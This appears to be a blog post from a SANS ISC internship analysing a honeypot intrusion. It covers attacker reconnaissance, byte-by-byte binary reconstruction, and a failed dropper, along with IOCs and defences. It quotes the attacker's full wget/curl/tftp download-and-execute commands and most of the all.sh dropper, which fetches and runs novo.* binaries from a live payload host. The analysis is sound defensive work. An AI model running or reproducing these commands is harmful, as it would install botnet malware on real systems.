Attack Observation: Rebuilding Malware and Commands

For this attack observation, I will break down the commands used by the threat actor and the process of rebuilding their malware.
Attack Observation Disclaimer
This post is based on a research assignment completed during my time with the SANS Internet Storm Center internship program. The data represented was collected using a personal Cowrie/DShield honeypot running on a Raspberry Pi CM4. Please note that this observation reflects findings at the time of analysis and may no longer be relevant, as attack vectors and threat actor behaviors evolve rapidly. Any businesses, sources, or indicators mentioned are included as originally observed and should not be considered current or actionable without further verification. This write-up is based on an assignment originally written on November 20, 2024.
Background
My goal with this attack observation is to analyze a specific TTY log file that was located on the honeypot. This TTY file was approximately 37MB in size, which was abnormally large compared to the others.
TTY Log: 725e39a4169c617958260b078a567c9220e3ee09f2eff7f30de0b5c9bcf307db
-
Approximate File Size: 37.9MB
-
Attacker Session ID: 91fecb5ba713
-
Attacker IP: 154.213.187.142
-
Session Duration: 125.128 seconds
-
Total Unique Sessions by Attacker IP: 68 Unique Sessions
-
Top 3 Sessions by Activity:
- 91fecb5ba713 (18 Entries)
- 0d3319e325ce (3 Entries)
- 00a5ce915b28 (3 Entries)
-
Related Outfiles (by IP):
- 4218e8ffab819195edffc9e0f8e84d912a8626c5032e7df9257d1ce43c7c7233
- 0aed36324a884f57509dbe479dc0a95944da4d81f64c514d70f16be4d5ca2a00
- 952468f5685c1568b87e77bfd6498df3f95dd0df7ed69180d662605903f00e7f
Introduction
This threat actor stood out to me primarily due to their persistent efforts to breach my system. What was even more interesting was what they did after gaining access. The TTY log contains some interesting tactics employed by the attacker.
Analysis Preparation
Parsing & Cleaning TTY
I converted the TTY log file into a more human-readable format using Python. The Python script I used works similarly to the Cowrie parser but was tailored to my specific needs. The script parses the TTY log and extracts all input/output details, also cleaning up fragmented control characters for a cleaner output.
This attacker used automated tools to perform the attack, as the entire TTY log, pre-cleaned, was over 1.6 million lines long. This assumption is supported by a session duration of only 125 seconds.
Here is an example of a single command that was fragmented:
[OUTPUT] e
[OUTPUT] c
[OUTPUT] h
[OUTPUT] o
[OUTPUT]
[OUTPUT] -
[OUTPUT] n
[OUTPUT] e
[OUTPUT]
[OUTPUT] '
[OUTPUT] \
[OUTPUT] x
[OUTPUT] a
[OUTPUT] 7
[OUTPUT] '
[OUTPUT]
[OUTPUT] >
[OUTPUT] >
[OUTPUT]
[OUTPUT] /
[OUTPUT] t
[OUTPUT] m
[OUTPUT] p
[OUTPUT] /
[OUTPUT] a
[OUTPUT] r
[OUTPUT] c
[OUTPUT] h
[OUTPUT] f
[OUTPUT] i
[OUTPUT] l
[OUTPUT] e
[OUTPUT] _
[OUTPUT] p
[OUTPUT] a
[OUTPUT] r
[OUTPUT] t
[OUTPUT] 4
Once cleaned up, this fragmented command becomes:
[OUTPUT] echo -ne '\xa7' >> /tmp/archfile_part4
Cleaning up these fragments reduced the 1.6+ million lines to just 78,510 lines. This is still an absurd amount, but it has made it much easier to parse through.
Attacker’s Process – Brief Summary
Command Summary
Gathering System Information
input: uname -m
output: aarch64
input: uname -a
output: Linux jubljanas 6.6.31+rpt-rpi-v8 #1 SMP aarch64 GNU/Linux
input: whoami
output: ftp
Test File Creation
input: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; echo zaza >> test.cuh
output: (no response)
input: ls
output: bin boot dev etc home initrd.img lib lost+found media mnt opt proc root run sbin selinux srv sys test.cuh test2 tmp usr var vmlinuz
Malicious Script Download & Execution
input: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://141.98.10.116:53648/all.sh || curl -O http://141.98.10.116:53648/all.sh || busybox curl -O http://141.98.10.116:53648/all.sh || tftp -g -r all.sh 141.98.10.116 || tftp 141.98.10.116 -c get all.sh || busybox wget http://141.98.10.116:53648/all.sh; chmod 777 all.sh; sh all.sh || all.sh; rm -rf all.sh
output: --2024-10-16 01:18:04-- http://141.98.10.116:53648/all.sh
Connecting to 141.98.10.116:53648... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4155 (4.0576171875K) [text/x-sh; charset=utf-8]
Saving to: `/all.sh'
Reconstruction of archfile binary file (shortened)
input: echo -ne '\x7f' >> /tmp/archfile_part0
input: echo -ne '\x45' >> /tmp/archfile_part0
input: echo -ne '\x4c' >> /tmp/archfile_part0
input: echo -ne '\x46' >> /tmp/archfile_part0
input: echo -ne '\x02' >> /tmp/archfile_part0
input: echo -ne '\x01' >> /tmp/archfile_part0
input: echo -ne '\x01' >> /tmp/archfile_part0
input: echo -ne '\x03' >> /tmp/archfile_part0
input: echo -ne '\x00' >> /tmp/archfile_part0
input: echo -ne '\x00' >> /tmp/archfile_part0
Commands Explained
- The attacker started their connection by using the
uname -m
command to identify the system’s architecture; aarch64 was identified. uname -a; whoami
was used to identify kernel details, hostname, and current user.- These commands helped the attacker understand the system and how to proceed. Later in the attack, we can see why this information was crucial to their methods.
- Next, the attacker attempted to make a test file, likely to test for write permissions, by running
echo zaza >> test.cuh
. - The attacker then ran the
ls
command to list directory contents.
Rebuilding "archfile" from TTY
The completion of “archfile” was unfortunately cut short as the attacker’s attempt to install and run all.sh ran into an error. The attacker’s automatic script appears to have a system that forces disconnection if something goes wrong. The specific event is described below:
The attacker initially attempted to download all.sh from their server using various commands in hopes that one would work with the honeypot. At least one command succeeded, and they were able to connect and download: http://141.98.10.116:53648/all.sh
.
The script was saved to /all.sh, as shown in the log snippet below:
[OUTPUT] Saving to: `/all.sh'
[OUTPUT]
[OUTPUT]
[OUTPUT] 100% [=======================================>] 4,155 0K/s eta 0s
[OUTPUT] 100%[======================================>] 4,155 0K/s
[OUTPUT]
[OUTPUT] 2024-10-16 01:18:21 (0 KB/s) - `/all.sh' saved [4155/4155]
However, when the attacker attempted to run /all.sh, the system threw an error: “maximum recursion depth exceeded.” This could be due to:
- The script itself hitting an infinite loop by calling itself or another function
- Multiple instances of the script running at the same time, causing a conflict
We can see this happening as the attacker’s automation ended up running all.sh twice due to two successful download commands. Their automation called for all.sh to run twice as it detected two successful downloads.
Once the attacker detected a failure in running all.sh, they essentially cut their attack short and backed out of the system. This caused the archfile_part4
binary file to be partially incomplete, making analysis difficult as my attempts to rebuild the full archfile were inconclusive. The reason is that the archfile binary file has some level of obfuscation that potentially becomes “unlocked” with the delivery of all.sh (mentioned in the next topic).
All.sh Contents, In Depth
#!/bin/bash
echo "novowashere"
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://141.98.10.116:53648/novo.arm64 || curl -O http://141.98.10.116:53648/novo.arm64 || busybox wget http://141.98.10.116:53648/novo.arm64; chmod 777 novo.arm64; sudo ./novo.arm64 || ./novo.arm64; rm -rf novo.arm64
[Shortened list for convenience]
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://141.98.10.116:53648/novo.x86_64 || curl -O http://141.98.10.116:53648/novo.x86_64 || busybox wget http://141.98.10.116:53648/novo.x86_64; chmod 777 novo.x86_64; sudo ./novo.x86_64 || ./novo.x86_64; rm -rf novo.x86_64
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://141.98.10.116:53648/novo.x86 || curl -O http://141.98.10.116:53648/novo.x86 || busybox wget http://141.98.10.116:53648/novo.x86; chmod 777 novo.x86; sudo ./novo.x86 || ./novo.x86; rm -rf novo.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf novo*
Here are the contents of all.sh. It starts with echo "novowashere"
, presumably the attacker's alias. Unfortunately, a basic Google search gave no identifiable leads.
An IP Whois search shows that 141.98.10.116 is located in Lithuania and belongs to a company named UAB Host Baltic. Clearly, the attacker is using a datacenter to host their server.
Later, we see commands to download files such as novo.arm64 and novo.x86. The script actually attempts to download 15 novo.*
files, each targeting a different architecture. Each novo. file is downloaded using three different methods: wget, curl, and busybox wget. Once downloaded, chmod 777 is applied to each file to make it executable by all users, and the binary is then executed with `sudo ./novo. || ./novo.*;`. After execution, the cleanup process is initiated and the file is deleted.
Now, unfortunately (or fortunately, depending on your perspective), this would all have been true if all.sh had actually executed without errors.
Fortunately, I was able to find malware samples for a few of the novo.*
files, and the analysis for that can be found below:
Novo.* Malware Analysis
The novo files were not downloaded as all.sh ran into an error. I was able to confirm this by checking the Cowrie log files through Kibana.
However, I found novo.arm64 & novo.x86_64 [Reference 1 & 2] on Malware Bazaar with available sample downloads. While I cannot confirm with absolute certainty that these two samples were the exact files that would have been downloaded through all.sh, their analysis provides valuable insight into the likely behavior of the payload.
I booted up a virtual machine with no internal or external network connections. Using PeStudio, I examined novo.arm64, as that would presumably be the payload used.
Looking at the first few lines of novo.arm64, we can see potential uses for the malware. The malware seems to initiate an HTTP-based C2 connection server and then runs a script to enumerate the local network, potentially searching for other devices with vulnerabilities. The remainder of the script is base64 encoded.
The purpose of this entire attack seems to be to make an initial breach into a vulnerable system, then run a multi-purpose payload: creating C2 communications, attempting lateral movement by enumerating the local network, and potentially targeting IoT devices using SSDP (M-Search).
Exploit Analysis
Exploits:
- Weak/default system credentials
- Insecure configurations
- File download/execution permissions with no validation
- Writing permissions, for example, writing to /tmp directory
- Script-based command injections were possible
MITRE ATT&CK
- T1078: Valid Accounts: Use of weak/default credentials to gain unauthorized access.
- T1203: Exploitation for Client Execution: Download and execution of malicious files (all.sh)
- T1059: Command and Scripting Interpreter: Execution of commands through Bash (echo -ne)
- T1105: Ingress Tool Transfer: Downloading malicious payloads from a remote server.
- T1210: Exploitation of Remote Services: Potential exploitation of services like FTP for initial access.
- T1046: Network Service Scanning: Use of SSDP (M-SEARCH) in novo.arm64 for potential local network scanning + specifically IoT devices.
- T1562: Impair Defenses: Deleting binaries after execution to evade detection.
Attacker’s Goals
The attacker’s goal appears to be to compromise the system and establish persistence. Below is a breakdown of this goal:
- Attacker made initial access
- Attacker attempted to deploy malicious files/scripts
- Attacker would have created a backdoor (C2 Communications)
- Attack’s potential outcomes:
- Creating a botnet (evident with local network enumeration)
- Data exfiltration (also evident with local network enumeration)
- Lateral movement potential (further exploitations possible)
- Device/IoT-specific targeting (potential access to network cameras, systems, and more)
Vulnerability Analysis
A system with vulnerabilities present in an attack like this would be easily susceptible not only to an attack similar to this, but virtually any attack. Any attacker would be able to break in and run almost any command they want by leveraging allowed commands to run those that are not allowed. This is seen primarily with the echo -ne commands used to rebuild archfile.
- The system initially had weak credentials, which allowed for an unchecked, unrestricted, and simple login.
- Directories like /tmp were writable by the attacker.
- Unrestricted use of commands such as wget, curl, and tftp was allowed.
- The attacker also came prepared with 15 different payloads, each targeting a specific architecture, increasing the likelihood of successfully running a payload designed for the system.
Defense
To defend against attacks like this, consider the following:
- Implement network segmentation to isolate critical systems. Network segmentation can suppress most attacks like this if done correctly. Not all situations allow for network segmentation, but if possible, it is a great first step.
- Enforce strong authentication, including strong passwords and MFA. This would significantly hamper an attacker’s success.
- Limit installed tools to only those necessary for system operation. Removing tools like wget, curl, or tftp (if possible) would make the attacker’s process more difficult.
- Restrict write permissions to sensitive directories like /tmp. The /tmp directory can pose a significant vulnerability if an attacker has access; it contains potentially sensitive information and acts as temporary storage for processes. An attacker can alter, replace, or manipulate temporary files created by a process, posing a high-security threat if done correctly.
- Harden the system with firewalls, IP blocking, monitoring, least privilege, and regular patching.
Threat Actor's Details
The attacker went by the potential alias “novowashere,” as seen from the contents of the all.sh script. Basic OSINT was inconclusive, as this alias did not yield much information.
Looking at the attacker’s IP address (used to initiate the session), we see 154.213.187.142. Using ipwhois.io, I see that 154.213.187.142 is located in Amsterdam, Netherlands, belonging to the ISP/Organization “Pfcloud UG” with the website pfcloud.io. This company is a web host offering virtual servers, domain purchasing, and more. The attacker used Pfcloud’s servers to conduct this attack.
The attacker connected to the honeypot from 154.213.187.142 with a source port of 47800. This attacker has also attempted breaches a few times prior, each attempt with a new high-range port value. A port scan on those ranges currently shows all high-range ports offline, indicating the attacker may not be performing an attack at this moment. However, the RDP port 3389 is currently online, indicating that this attacker uses RDP as well.
The attacker then initiated a file download from 141.98.10.116 on port 53648, another high-numbered port. This IP is from Lithuania and leads to a company/ISP called Host Baltic, another service that offers servers, etc. Similarly, all high ports are currently offline/not pingable, but port 3389 is available for RDP.
Not much else can be determined about the attacker; they maintained good OPSEC.
Indicators
IPs & Ports:
- 154.213.187.142:47800 (Session Initiation)
- 154.213.187.142:3389 (RDP Exposed Port)
- 141.98.10.116:53648 (Payload Host)
- 141.98.10.116:3389 (RDP Exposed Port)